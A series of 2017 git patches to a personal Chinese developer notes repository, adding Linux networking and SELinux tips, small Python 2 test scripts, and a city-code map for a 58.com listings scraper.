From 447c7606ada4335107e9f05f59f423f5ed22496a Mon Sep 17 00:00:00 2001 From: Zhang He Date: Thu, 6 Jul 2017 22:20:09 +0800 Subject: [PATCH 01/43] =?UTF-8?q?=E6=9B=B4=E6=96=B0Linux=E8=AF=B4=E6=98=8E?= =?UTF-8?q?=E6=96=87=E6=A1=A3?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Linux.md | 79 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 79 insertions(+) diff --git a/Linux.md b/Linux.md index d08e96d..d11f72a 100644 --- a/Linux.md +++ b/Linux.md @@ -616,3 +616,82 @@ chkconfig --list | systemctl list-unit-files --type=service (推荐) ls /etc chkconfig frobozz --list | ls /etc/systemd/system/*.wants/frobozz.service | 用来列出该服务在哪些运行级别下启用和禁用。 chkconfig frobozz --add | systemctl daemon-reload | 当您创建新服务文件或者变更设置时使用。 + +## 网络调试 + + +```bash +telnet IP PORT +``` + +调试TCP +```bash +nc -l ip port # 开启监听 +nc ip port # 连接服务 +``` + +调试UDP +```bash +nc -u -l ip port # 开启监听 +nc -u ip port # 连接服务 +``` + + +## 网络服务 + +快速开启网络web服务 + +```bash +php -S 0:8888 +``` +http://0.0.0.0:8888 + +```bash +python -m SimpleHTTPServer 8866 +``` +http://0.0.0.0:8866 + + +区别,PHP版本需要index.php, 而python版本直接返回目录 + + +## CentOs + +SELinux 全称 Security Enhanced Linux (安全强化 Linux) + +是 MAC (Mandatory Access Control,强制访问控制系统)的一个实现, +目的在于明确的指明某个进程可以访问哪些资源(文件、网络端口等)。 + + +- Disabled 代表 SELinux 被禁用 +- Permissive 代表仅记录安全警告但不阻止可疑行为 +- Enforcing 代表记录警告且阻止可疑行为。 + +目前常见发行版中,RHEL 和 Fedora 默认设置为 Enforcing,其余的如 openSUSE 等为 Permissive。 + +获取当前 SELinux 运行状态(Enforcing、Permissive 和 Disabled) +``` +# getenforce +``` + +改变 SELinux 运行状态 +``` +# setenforce [ Enforcing | Permissive | 1 | 0 ] +``` + +查看 SELinux 文件 +``` +# vim /etc/sysconfig/selinux +``` + + +## DNS 反向解析 + +关闭反向解析 +```bash +# vim /etc/ssh/sshd_config +``` +设置 UseDNS no +```bash +# service sshd restart +``` From 238d6f7b21bd85e1ced15f2c45ea97d73d95a8e3 Mon Sep 17 00:00:00 2001 From: Zhang He Date: Fri, 7 Jul 2017 22:21:26 +0800 Subject: [PATCH 02/43] =?UTF-8?q?=E7=90=86=E8=A7=A3=E5=85=83=E7=A5=96?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- README.md | 23 +++++++++++++++++++++++ 1 file changed, 23 insertions(+) diff --git a/README.md b/README.md index 3613035..fe0c529 100644 --- a/README.md +++ b/README.md @@ -1220,6 +1220,29 @@ strace -p [pid] -tt -s 1024 -o /tmp/[pid].log ``` +## 理解 tuple (元祖) + +为什么当tuple只有一个item时,需要加逗号 + +``` +In [1]: (3+4)*5 +Out[1]: 35 + +In [2]: (3+4,)*5 +Out[2]: (7, 7, 7, 7, 7) +``` + +``` +In [3]: type(('fuck')) +Out[3]: str + +In [4]: type(('fuck',)) +Out[4]: tuple +``` + +Not the parentheses make the tuple, the commas do. + + ## 文档托管 Read the Docs From 49dc58a479e722c0ef286a9b1f9ade8aa073341b Mon Sep 17 00:00:00 2001 From: Zhang He Date: Sat, 8 Jul 2017 22:22:48 +0800 Subject: [PATCH 03/43] =?UTF-8?q?=E6=9B=B4=E6=96=B0mongo=E6=B5=8B=E8=AF=95?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- test/test_mongo.py | 62 +++++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 61 insertions(+), 1 deletion(-) diff --git a/test/test_mongo.py b/test/test_mongo.py index 7fb91c8..b347a7b 100644 --- a/test/test_mongo.py +++ b/test/test_mongo.py @@ -6,6 +6,46 @@ sys.path.append('..') from tools.mongo import Mongodb +import time +import calendar +from datetime import datetime, timedelta, date + + +def time_local_to_utc(local_time): + """ + 本地时间转UTC时间 + :param local_time: + :return: + """ + # 字符串处理 + if isinstance(local_time, str) and len(local_time) == 10: + local_time = datetime.strptime(local_time, '%Y-%m-%d') + elif isinstance(local_time, str) and len(local_time) >= 19: + local_time = datetime.strptime(local_time[:19], '%Y-%m-%d %H:%M:%S') + elif not (isinstance(local_time, datetime) or isinstance(local_time, date)): + local_time = datetime.now() + # 时间转换 + utc_time = local_time + timedelta(seconds=time.timezone) + return utc_time + + +def time_utc_to_local(utc_time): + """ + UTC时间转本地时间 + :param utc_time: + :return: + """ + # 字符串处理 + if isinstance(utc_time, str) and len(utc_time) == 10: + utc_time = datetime.strptime(utc_time, '%Y-%m-%d') + elif isinstance(utc_time, str) and len(utc_time) >= 19: + utc_time = datetime.strptime(utc_time[:19], '%Y-%m-%d %H:%M:%S') + elif not (isinstance(utc_time, datetime) or isinstance(utc_time, date)): + utc_time = datetime.utcnow() + # 时间转换 + local_time = utc_time - timedelta(seconds=time.timezone) + return local_time + db_config = { 'host': 'localhost', @@ -68,8 +108,28 @@ def test(): print e +def test_02(): + table_name = 'user' + conn = Mongodb(db_config) + print conn.db + print conn.find_one(table_name) + test_doc = { + '_id': 1, + 'id': 1, + 'name': 'admin', + 'create_time': datetime.strptime('2017-07-07 08:00:00', '%Y-%m-%d %H:%M:%S'), + 'create_time_utc': time_local_to_utc('2017-07-07 08:00:00'), + 'create_time_str': '2017-07-07 08:00:00' + } + print conn.remove(table_name) # 清空记录 + print conn.insert(table_name, test_doc) # 插入记录 + print conn.find_one(table_name) + conn.output_rows(table_name) + + if __name__ == '__main__': - test() + # test() + test_02() """ From fee924d1105844566b9fe2ee00d13199c0f7f78c Mon Sep 17 00:00:00 2001 From: Zhang He Date: Mon, 10 Jul 2017 22:23:57 +0800 Subject: [PATCH 04/43] =?UTF-8?q?=E6=9B=B4=E6=96=B0=E5=91=BD=E4=BB=A4?= =?UTF-8?q?=E5=9B=9E=E6=98=BE?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- test/test_system.py | 16 ++++++++++++++-- 1 file changed, 14 insertions(+), 2 deletions(-) diff --git a/test/test_system.py b/test/test_system.py index 0bfbf23..908611c 100644 --- a/test/test_system.py +++ b/test/test_system.py @@ -6,6 +6,7 @@ import os +import commands def test_memory_usage(): @@ -42,7 +43,8 @@ def test_get_local_ip(): """ 获取本地ip地址 """ - cmd = "LC_ALL=C ifconfig | grep 'inet addr:'| grep -v '127.0.0.1' | cut -d: -f2 | awk '{ print $1}'" + # cmd = "LC_ALL=C ifconfig | grep 'inet addr:'| grep -v '127.0.0.1' | cut -d: -f2 | awk '{ print $1}'" + cmd = "ifconfig" print cmd # result = os.system(cmd) result = os.popen(cmd).read() @@ -53,9 +55,19 @@ def test_get_local_ip(): return ip_list +def test_commands(): + """ + 获取状态和回显 + :return: + """ + status, output = commands.getstatusoutput('ifconfig') + print status, output + + if __name__ == '__main__': # test_memory_usage() - test_get_local_ip() + # test_get_local_ip() + test_commands() """ 测试结果: From 6e4c71ae6f8083eaf5de6fb200cc7d83da7fa088 Mon Sep 17 00:00:00 2001 From: Zhang He Date: Tue, 11 Jul 2017 22:24:56 +0800 Subject: [PATCH 05/43] =?UTF-8?q?python=E6=A0=91=E7=9A=84=E6=B5=8B?= =?UTF-8?q?=E8=AF=95?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- test/tree.py | 60 +++++++++++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 59 insertions(+), 1 deletion(-) diff --git a/test/tree.py b/test/tree.py index bbda1fc..2b41e05 100644 --- a/test/tree.py +++ b/test/tree.py @@ -22,7 +22,7 @@ def tree(): return defaultdict(tree) -if __name__ == '__main__': +def test_users(): users = tree() users['jack_1']['jack_2_1']['jack_3_1'] = {} users['jack_1']['jack_2_1']['jack_3_2'] = {} @@ -49,3 +49,61 @@ def tree(): # 第三层(users孙节点的key) print [i for i in users['jack_1']['jack_2_1']] + + +l = [ + {'u': 4, 'p': 1}, + {'u': 10, 'p': 1}, + {'u': 5, 'p': 1}, + {'u': 6, 'p': 2}, + {'u': 7, 'p': 2}, + {'u': 8, 'p': 3}, + {'u': 9, 'p': 3}, + {'u': 11, 'p': 3}, + {'u': 12, 'p': 3}, + {'u': 13, 'p': 5}, + {'u': 14, 'p': 6}, + {'u': 15, 'p': 10}, + {'u': 17, 'p': 10}, + {'u': 19, 'p': 10}, + {'u': 20, 'p': 15}, + {'u': 21, 'p': 15}, + {'u': 22, 'p': 17}, + {'u': 23, 'p': 22}, +] + + +def get_child_users(uid): + """ + 获取子节点 + :param uid: + :return: + """ + r = [] + for i in l: + if i['p'] == uid: + r.append(i['u']) + return r + + +def test_team(uid): + """ + 测试 + :return: + """ + team = tree() + child_users = get_child_users(uid) + for uid1 in child_users: + team[uid1] = {} + child_users2 = get_child_users(uid1) + for uid2 in child_users2: + team[uid1][uid2] = {} + child_users3 = get_child_users(uid2) + for uid3 in child_users3: + team[uid1][uid2][uid3] = {} + print json.dumps(team, indent=4) + + +if __name__ == '__main__': + # test_users() + test_team(1) From ff483eb33f98fc855182eef1be4845081a47d120 Mon Sep 17 00:00:00 2001 From: Zhang He Date: Wed, 12 Jul 2017 22:29:25 +0800 Subject: [PATCH 06/43] =?UTF-8?q?=E6=96=B0=E5=A2=9E=E4=BF=A1=E5=8F=B7?= =?UTF-8?q?=E6=B5=8B=E8=AF=95?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- test/test_blinker.py | 37 +++++++++++++++++++++++++++++++++++++ 1 file changed, 37 insertions(+) create mode 100644 test/test_blinker.py diff --git a/test/test_blinker.py b/test/test_blinker.py new file mode 100644 index 0000000..bdb8df2 --- /dev/null +++ b/test/test_blinker.py @@ -0,0 +1,37 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: test_blinker.py +@time: 2017/6/6 下午10:48 +""" + + +from blinker import signal + +started = signal('round-started') + + +def each(round): + print "Round %s!" % round + + +started.connect(each) + + +def round_two(round): + print "This is round two." + + +started.connect(round_two, sender=2) + + +for r in range(1, 4): + started.send(r) + + +# https://pypi.python.org/pypi/blinker +# http://pythonhosted.org/blinker/ +# https://github.com/jek/blinker From 2dab74358269f8dbcf44c5f45ea3994f5e7401e2 Mon Sep 17 00:00:00 2001 From: Zhang He Date: Thu, 13 Jul 2017 22:32:23 +0800 Subject: [PATCH 07/43] =?UTF-8?q?=E6=9B=B4=E6=96=B0cpu=E6=95=B0=E9=87=8F?= =?UTF-8?q?=E6=B5=8B=E8=AF=95?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- test/test_cpus.py | 20 ++++++++++++++++++++ 1 file changed, 20 insertions(+) create mode 100644 test/test_cpus.py diff --git a/test/test_cpus.py b/test/test_cpus.py new file mode 100644 index 0000000..1c6fda8 --- /dev/null +++ b/test/test_cpus.py @@ -0,0 +1,20 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: test_cpus.py +@time: 2017/6/15 下午11:29 +""" + + +import multiprocessing + +bind = "127.0.0.1:8000" + +workers = multiprocessing.cpu_count() * 2 + 1 + + +if __name__ == '__main__': + print workers From 9c76426595285ef9a5aaf2e6a29c330ed6bee19e Mon Sep 17 00:00:00 2001 From: Zhang He Date: Sat, 15 Jul 2017 22:36:27 +0800 Subject: [PATCH 08/43] =?UTF-8?q?=E6=B5=8B=E8=AF=95has=5Fkey?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- test/test_has_key.py | 26 ++++++++++++++++++++++++++ 1 file changed, 26 insertions(+) create mode 100644 test/test_has_key.py diff --git a/test/test_has_key.py b/test/test_has_key.py new file mode 100644 index 0000000..9ec48dc --- /dev/null +++ b/test/test_has_key.py @@ -0,0 +1,26 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: test_has_key.py +@time: 2017/5/27 下午2:13 +""" + + +a = { + 'foo': '1', + 'bar': '2', +} + + +def func(): + print a.has_key('foo') # deprecated + print a.has_key('fob') # deprecated + print 'foo' in a + print 'fob' in a + + +if __name__ == '__main__': + func() From e9df07a1f3e45c3a63df65691bb1a3b5d85ab59b Mon Sep 17 00:00:00 2001 From: Zhang He Date: Sun, 16 Jul 2017 16:22:39 +0800 Subject: [PATCH 09/43] =?UTF-8?q?=E6=9B=B4=E6=96=B058=E5=9F=8E=E5=B8=82?= =?UTF-8?q?=E5=88=86=E7=B1=BB=E6=8A=93=E5=8F=96?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- fuck/58.py | 504 +++++++++++++++++++++++++++++++++++++++++++++++++++-- 1 file changed, 492 insertions(+), 12 deletions(-) diff --git a/fuck/58.py b/fuck/58.py index 8e62c46..1d4f697 100644 --- a/fuck/58.py +++ b/fuck/58.py @@ -16,6 +16,443 @@ UserAgent = 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36' +city_map_v4 = { + 'bj': 11, # 北京 + 'sh': 31, # 上海 + 'tj': 12, # 天津 + 'cq': 50, # 重庆 + 'qd': 3702, # 青岛 + 'jn': 3701, # 济南 + 'yt': 3706, # 烟台 + 'wf': 3707, # 潍坊 + 'linyi': 3713, # 临沂 + 'zb': 3703, # 淄博 + 'jining': 3708, # 济宁 + 'ta': 3709, # 泰安 + 'lc': 3715, # 聊城 + 'weihai': 3710, # 威海 + 'zaozhuang': 3704, # 枣庄 + 'dz': 3714, # 德州 + 'rizhao': 3711, # 日照 + 'dy': 3705, # 东营 + 'heze': 3717, # 菏泽 + 'bz': 3716, # 滨州 + 'lw': 3712, # 莱芜 + 'zhangqiu': 3701, # 章丘 + 'kl': 3705, # 垦利 + 'zc': 3707, # 诸城 + 'shouguang': 3707, # 寿光 + 'su': 3205, # 苏州 + 'nj': 3201, # 南京 + 'wx': 3202, # 无锡 + 'cz': 3204, # 常州 + 'xz': 3203, # 徐州 + 'nt': 3206, # 南通 + 'yz': 3210, # 扬州 + 'yancheng': 3209, # 盐城 + 'ha': 3208, # 淮安 + 'lyg': 3207, # 连云港 + 'taizhou': 3212, # 泰州 + 'suqian': 3213, # 宿迁 + 'zj': 3211, # 镇江 + 'shuyang': 3213, # 沭阳 + 'dafeng': 3209, # 大丰 + 'rugao': 3206, # 如皋 + 'qidong': 3206, # 启东 + 'liyang': 3223, # 溧阳 + 'haimen': 3206, # 海门 + 'donghai': 3207, # 东海 + 'yangzhong': 3211, # 扬中 + 'xinghuashi': 3212, # 兴化 + 'xinyishi': 3203, # 新沂 + 'taixing': 3214, # 泰兴 + 'rudong': 3206, # 如东 + 'pizhou': 3203, # 邳州 + 'xzpeixian': 3203, # 沛县 + 'jingjiang': 3216, # 靖江 + 'jianhu': 3209, # 建湖 + 'haian': 3206, # 海安 + 'dongtai': 3209, # 东台 + 'danyang': 3221, # 丹阳 + 'hz': 3301, # 杭州 + 'nb': 3302, # 宁波 + 'wz': 3303, # 温州 + 'jh': 3307, # 金华 + 'jx': 3304, # 嘉兴 + 'tz': 3310, # 台州 + 'sx': 3306, # 绍兴 + 'huzhou': 3305, # 湖州 + 'lishui': 3311, # 丽水 + 'quzhou': 3308, # 衢州 + 'zhoushan': 3309, # 舟山 + 'yueqingcity': 3303, # 乐清 + 'ruiancity': 3303, # 瑞安 + 'yiwu': 3313, # 义乌 + 'yuyao': 3302, # 余姚 + 'zhuji': 3306, # 诸暨 + 'xiangshanxian': 3302, # 象山 + 'wenling': 3310, # 温岭 + 'tongxiang': 3304, # 桐乡 + 'cixi': 3302, # 慈溪 + 'changxing': 3305, # 长兴 + 'jiashanx': 3304, # 嘉善 + 'haining': 3312, # 海宁 + 'deqing': 3305, # 德清 + 'hf': 3401, # 合肥 + 'wuhu': 3402, # 芜湖 + 'bengbu': 3403, # 蚌埠 + 'fy': 3412, # 阜阳 + 'hn': 3404, # 淮南 + 'anqing': 3408, # 安庆 + 'suzhou': 3413, # 宿州 + 'la': 3415, # 六安 + 'huaibei': 3406, # 淮北 + 'chuzhou': 3411, # 滁州 + 'mas': 3405, # 马鞍山 + 'tongling': 3407, # 铜陵 + 'xuancheng': 3418, # 宣城 + 'bozhou': 3416, # 亳州 + 'huangshan': 3410, # 黄山 + 'chizhou': 3417, # 池州 + 'ch': 3414, # 巢湖 + 'hexian': 3405, # 和县 + 'hq': 3415, # 霍邱 + 'tongcheng': 3408, # 桐城 + 'ningguo': 3418, # 宁国 + 'tianchang': 3411, # 天长 + 'sz': 4403, # 深圳 + 'gz': 4401, # 广州 + 'dg': 4419, # 东莞 + 'fs': 4406, # 佛山 + 'zs': 4420, # 中山 + 'zh': 4404, # 珠海 + 'huizhou': 4413, # 惠州 + 'jm': 4407, # 江门 + 'st': 4405, # 汕头 + 'zhanjiang': 4408, # 湛江 + 'zq': 4412, # 肇庆 + 'mm': 4409, # 茂名 + 'jy': 4452, # 揭阳 + 'mz': 4414, # 梅州 + 'qingyuan': 4418, # 清远 + 'yj': 4417, # 阳江 + 'sg': 4402, # 韶关 + 'heyuan': 4416, # 河源 + 'yf': 4453, # 云浮 + 'sw': 4415, # 汕尾 + 'chaozhou': 4451, # 潮州 + 'taishan': 4407, # 台山 + 'yangchun': 4417, # 阳春 + 'sd': 4422, # 顺德 + 'huidong': 4413, # 惠东 + 'boluo': 4413, # 博罗 + 'fz': 3501, # 福州 + 'xm': 3502, # 厦门 + 'qz': 3505, # 泉州 + 'pt': 3503, # 莆田 + 'zhangzhou': 3506, # 漳州 + 'nd': 3509, # 宁德 + 'sm': 3504, # 三明 + 'np': 3507, # 南平 + 'ly': 3508, # 龙岩 + 'wuyishan': 3507, # 武夷山 + 'shishi': 3505, # 石狮 + 'jinjiangshi': 3505, # 晋江 + 'nananshi': 3505, # 南安 + 'nn': 4501, # 南宁 + 'liuzhou': 4502, # 柳州 + 'gl': 4503, # 桂林 + 'yulin': 4509, # 玉林 + 'wuzhou': 4504, # 梧州 + 'bh': 4505, # 北海 + 'gg': 4508, # 贵港 + 'qinzhou': 4507, # 钦州 + 'baise': 4510, # 百色 + 'hc': 4512, # 河池 + 'lb': 4513, # 来宾 + 'hezhou': 4511, # 贺州 + 'fcg': 4506, # 防城港 + 'chongzuo': 4514, # 崇左 + 'haikou': 4601, # 海口 + 'sanya': 4602, # 三亚 + 'wzs': 4603, # 五指山 + 'sansha': 3509, # 三沙 + 'qh': 4604, # 琼海 + 'wenchang': 4606, # 文昌 + 'wanning': 4607, # 万宁 + 'tunchang': 0, # 屯昌 + 'qiongzhong': 0, # 琼中 + 'lingshui': 0, # 陵水 + 'df': 4608, # 东方 + 'da': 0, # 定安 + 'cm': 0, # 澄迈 + 'baoting': 0, # 保亭 + 'baish': 5307, # 白沙 + 'danzhou': 4605, # 儋州 + 'zz': 4101, # 郑州 + 'luoyang': 4103, # 洛阳 + 'xx': 4107, # 新乡 + 'ny': 4113, # 南阳 + 'xc': 4110, # 许昌 + 'pds': 4104, # 平顶山 + 'ay': 4105, # 安阳 + 'jiaozuo': 4108, # 焦作 + 'sq': 4114, # 商丘 + 'kaifeng': 4102, # 开封 + 'puyang': 4109, # 濮阳 + 'zk': 4116, # 周口 + 'xy': 4115, # 信阳 + 'zmd': 4117, # 驻马店 + 'luohe': 4111, # 漯河 + 'smx': 4112, # 三门峡 + 'hb': 4106, # 鹤壁 + 'jiyuan': 4118, # 济源 + 'mg': 4115, # 明港 + 'yanling': 4110, # 鄢陵 + 'yuzhou': 4110, # 禹州 + 'changge': 4110, # 长葛 + 'wh': 4201, # 武汉 + 'yc': 4205, # 宜昌 + 'xf': 4204, # 襄阳 + 'jingzhou': 4210, # 荆州 + 'shiyan': 4203, # 十堰 + 'hshi': 4202, # 黄石 + 'xiaogan': 4209, # 孝感 + 'hg': 4211, # 黄冈 + 'es': 4228, # 恩施 + 'jingmen': 4208, # 荆门 + 'xianning': 4212, # 咸宁 + 'ez': 4207, # 鄂州 + 'suizhou': 4213, # 随州 + 'qianjiang': 4230, # 潜江 + 'tm': 4231, # 天门 + 'xiantao': 4229, # 仙桃 + 'snj': 4232, # 神农架 + 'yidou': 4205, # 宜都 + 'cs': 4301, # 长沙 + 'zhuzhou': 4302, # 株洲 + 'yiyang': 4309, # 益阳 + 'changde': 4307, # 常德 + 'hy': 4304, # 衡阳 + 'xiangtan': 4303, # 湘潭 + 'yy': 4306, # 岳阳 + 'chenzhou': 4310, # 郴州 + 'shaoyang': 4305, # 邵阳 + 'hh': 4312, # 怀化 + 'yongzhou': 4311, # 永州 + 'ld': 4313, # 娄底 + 'xiangxi': 4331, # 湘西 + 'zjj': 4308, # 张家界 + 'nc': 3601, # 南昌 + 'ganzhou': 3607, # 赣州 + 'jj': 3604, # 九江 + 'yichun': 3609, # 宜春 + 'ja': 3608, # 吉安 + 'sr': 3611, # 上饶 + 'px': 3603, # 萍乡 + 'fuzhou': 3610, # 抚州 + 'jdz': 3602, # 景德镇 + 'xinyu': 3605, # 新余 + 'yingtan': 3606, # 鹰潭 + 'yxx': 3608, # 永新 + 'sy': 2101, # 沈阳 + 'dl': 2102, # 大连 + 'as': 2103, # 鞍山 + 'jinzhou': 2107, # 锦州 + 'fushun': 2104, # 抚顺 + 'yk': 2108, # 营口 + 'pj': 2111, # 盘锦 + 'cy': 2113, # 朝阳 + 'dandong': 2106, # 丹东 + 'liaoyang': 2110, # 辽阳 + 'benxi': 2105, # 本溪 + 'hld': 2114, # 葫芦岛 + 'tl': 2112, # 铁岭 + 'fx': 2109, # 阜新 + 'pld': 2102, # 庄河 + 'wfd': 2102, # 瓦房店 + 'hrb': 2301, # 哈尔滨 + 'dq': 2306, # 大庆 + 'qqhr': 2302, # 齐齐哈尔 + 'mdj': 2310, # 牡丹江 + 'suihua': 2312, # 绥化 + 'jms': 2308, # 佳木斯 + 'jixi': 2303, # 鸡西 + 'sys': 2305, # 双鸭山 + 'hegang': 2304, # 鹤岗 + 'heihe': 2311, # 黑河 + 'yich': 2307, # 伊春 + 'qth': 2309, # 七台河 + 'dxal': 2327, # 大兴安岭 + 'cc': 2201, # 长春 + 'jl': 22, # 吉林 + 'sp': 2203, # 四平 + 'yanbian': 2224, # 延边 + 'songyuan': 2207, # 松原 + 'bc': 2208, # 白城 + 'th': 2205, # 通化 + 'baishan': 2206, # 白山 + 'liaoyuan': 2204, # 辽源 + 'cd': 5101, # 成都 + 'mianyang': 5107, # 绵阳 + 'deyang': 5106, # 德阳 + 'nanchong': 5113, # 南充 + 'yb': 5115, # 宜宾 + 'zg': 5103, # 自贡 + 'ls': 5111, # 乐山 + 'luzhou': 5105, # 泸州 + 'dazhou': 5117, # 达州 + 'scnj': 5110, # 内江 + 'suining': 5109, # 遂宁 + 'panzhihua': 5104, # 攀枝花 + 'ms': 5114, # 眉山 + 'ga': 5116, # 广安 + 'zy': 5120, # 资阳 + 'liangshan': 5134, # 凉山 + 'guangyuan': 5108, # 广元 + 'ya': 5118, # 雅安 + 'bazhong': 5119, # 巴中 + 'ab': 5132, # 阿坝 + 'ganzi': 5133, # 甘孜 + 'km': 5301, # 昆明 + 'qj': 5303, # 曲靖 + 'dali': 5329, # 大理 + 'honghe': 5325, # 红河 + 'yx': 5304, # 玉溪 + 'lj': 5307, # 丽江 + 'ws': 5326, # 文山 + 'cx': 5323, # 楚雄 + 'bn': 5328, # 西双版纳 + 'zt': 5306, # 昭通 + 'dh': 5331, # 德宏 + 'pe': 5311, # 普洱 + 'bs': 5305, # 保山 + 'lincang': 5309, # 临沧 + 'diqing': 5334, # 迪庆 + 'nujiang': 5333, # 怒江 + 'gy': 5201, # 贵阳 + 'zunyi': 5203, # 遵义 + 'qdn': 5226, # 黔东南 + 'qn': 5227, # 黔南 + 'lps': 5202, # 六盘水 + 'bijie': 5224, # 毕节 + 'tr': 5222, # 铜仁 + 'anshun': 5204, # 安顺 + 'qxn': 5223, # 黔西南 + 'lasa': 5401, # 拉萨 + 'rkz': 5423, # 日喀则 + 'sn': 5422, # 山南 + 'linzhi': 5426, # 林芝 + 'changdu': 5421, # 昌都 + 'nq': 5424, # 那曲 + 'al': 5425, # 阿里 + 'rituxian': 5425, # 日土 + 'gaizexian': 5425, # 改则 + 'sjz': 1301, # 石家庄 + 'bd': 1306, # 保定 + 'ts': 1302, # 唐山 + 'lf': 1310, # 廊坊 + 'hd': 1304, # 邯郸 + 'qhd': 1303, # 秦皇岛 + 'cangzhou': 1309, # 沧州 + 'xt': 1305, # 邢台 + 'hs': 1311, # 衡水 + 'zjk': 1307, # 张家口 + 'chengde': 1308, # 承德 + 'dingzhou': 1306, # 定州 + 'gt': 1304, # 馆陶 + 'zhangbei': 1307, # 张北 + 'zx': 1301, # 赵县 + 'zd': 1301, # 正定 + 'ty': 1401, # 太原 + 'linfen': 1410, # 临汾 + 'dt': 1402, # 大同 + 'yuncheng': 1408, # 运城 + 'jz': 1407, # 晋中 + 'changzhi': 1404, # 长治 + 'jincheng': 1405, # 晋城 + 'yq': 1403, # 阳泉 + 'lvliang': 1411, # 吕梁 + 'xinzhou': 1409, # 忻州 + 'shuozhou': 1406, # 朔州 + 'linyixian': 1408, # 临猗 + 'qingxu': 1401, # 清徐 + 'hu': 1501, # 呼和浩特 + 'bt': 1502, # 包头 + 'chifeng': 1504, # 赤峰 + 'erds': 1506, # 鄂尔多斯 + 'tongliao': 1505, # 通辽 + 'hlbe': 1507, # 呼伦贝尔 + 'bycem': 1508, # 巴彦淖尔市 + 'wlcb': 1509, # 乌兰察布 + 'xl': 1525, # 锡林郭勒 + 'xam': 1522, # 兴安盟 + 'wuhai': 1503, # 乌海 + 'alsm': 1529, # 阿拉善盟 + 'hlr': 1507, # 海拉尔 + 'xa': 6101, # 西安 + 'xianyang': 6104, # 咸阳 + 'baoji': 6103, # 宝鸡 + 'wn': 6105, # 渭南 + 'hanzhong': 6107, # 汉中 + 'yl': 6108, # 榆林 + 'yanan': 6106, # 延安 + 'ankang': 6109, # 安康 + 'sl': 6110, # 商洛 + 'tc': 6102, # 铜川 + 'xj': 6501, # 乌鲁木齐 + 'changji': 6523, # 昌吉 + 'bygl': 6528, # 巴音郭楞 + 'yili': 6540, # 伊犁 + 'aks': 6529, # 阿克苏 + 'ks': 6531, # 喀什 + 'hami': 6522, # 哈密 + 'klmy': 6502, # 克拉玛依 + 'betl': 6527, # 博尔塔拉 + 'tlf': 6521, # 吐鲁番 + 'ht': 6532, # 和田 + 'shz': 6544, # 石河子 + 'kzls': 6530, # 克孜勒苏 + 'ale': 6545, # 阿拉尔 + 'wjq': 6547, # 五家渠 + 'tmsk': 6546, # 图木舒克 + 'kel': 6528, # 库尔勒 + 'alt': 6543, # 阿勒泰 + 'tac': 6542, # 塔城 + 'lz': 6201, # 兰州 + 'tianshui': 6205, # 天水 + 'by': 6204, # 白银 + 'qingyang': 6210, # 庆阳 + 'pl': 6208, # 平凉 + 'jq': 6209, # 酒泉 + 'zhangye': 6207, # 张掖 + 'wuwei': 6206, # 武威 + 'dx': 6211, # 定西 + 'jinchang': 6203, # 金昌 + 'ln': 6212, # 陇南 + 'linxia': 6229, # 临夏 + 'jyg': 6202, # 嘉峪关 + 'gn': 6230, # 甘南 + 'yinchuan': 6401, # 银川 + 'wuzhong': 6403, # 吴忠 + 'szs': 6402, # 石嘴山 + 'zw': 6405, # 中卫 + 'guyuan': 6404, # 固原 + 'xn': 6301, # 西宁 + 'hx': 6328, # 海西 + 'haibei': 6322, # 海北 + 'guoluo': 6326, # 果洛 + 'haidong': 6321, # 海东 + 'huangnan': 6323, # 黄南 + 'ys': 6327, # 玉树 + 'hainan': 46, # 海南 + 'hk': 81, # 香港 + 'am': 82, # 澳门 + 'tw': 71, # 台湾 + 'quanguo': 0, # 全国 + 'cn': 0, # 其他 +} + def get_city_list(): """ 获取城市列表 @@ -262,15 +699,35 @@ def get_area_list(city_code, city_name, province='', district=''): link_list = doc.xpath('//dd[@id="local"]/a') link_rule = u'(.*?)' area_list = [] - print "# %s" % city_name - print "'%s': [" % city_code + # print "# %s" % city_name + # print "'%s': [" % city_code + # for i, link in enumerate(link_list): + # link_html = lxml.html.tostring(link, encoding='utf-8').strip() + # link_result = re.compile(link_rule, re.S).findall(link_html.decode('utf-8')) + # for v in link_result: + # area_list.append((v[0], v[1])) + # print "\t'%s'%s # %s" % (v[0], ',' if (i + 1) < len(link_list) else '', v[1]) + # print "]" + + print '{' + print '\t\'code\': \'%s\',' % city_code + print '\t\'name\': u\'%s\',' % city_name + print '\t\'small\': [' + for i, link in enumerate(link_list): link_html = lxml.html.tostring(link, encoding='utf-8').strip() link_result = re.compile(link_rule, re.S).findall(link_html.decode('utf-8')) + if not link_result: + continue + print '\t\t{' for v in link_result: area_list.append((v[0], v[1])) - print "\t'%s'%s # %s" % (v[0], ',' if (i + 1) < len(link_list) else '', v[1]) - print "]" + print '\t\t\t\'code\': \'%s\'' % v[0] + print '\t\t\t\'name\': u\'%s\'' % v[1] + print '\t\t\t\'id\': \'\'' + print '\t\t},' + print '\t]' + print '},' return { 'city_code': city_code, @@ -357,20 +814,43 @@ def output_city_area(): with open('city_area2.py', 'wb') as f: rows = read_csv('city_map_58.csv') f.write("# encoding: utf-8\n\n") - f.write("area = {\n") + # f.write("area = {\n") + # for row in rows: + # city_code = row['city_code'] + # city_name = row['city_name'] + # province = 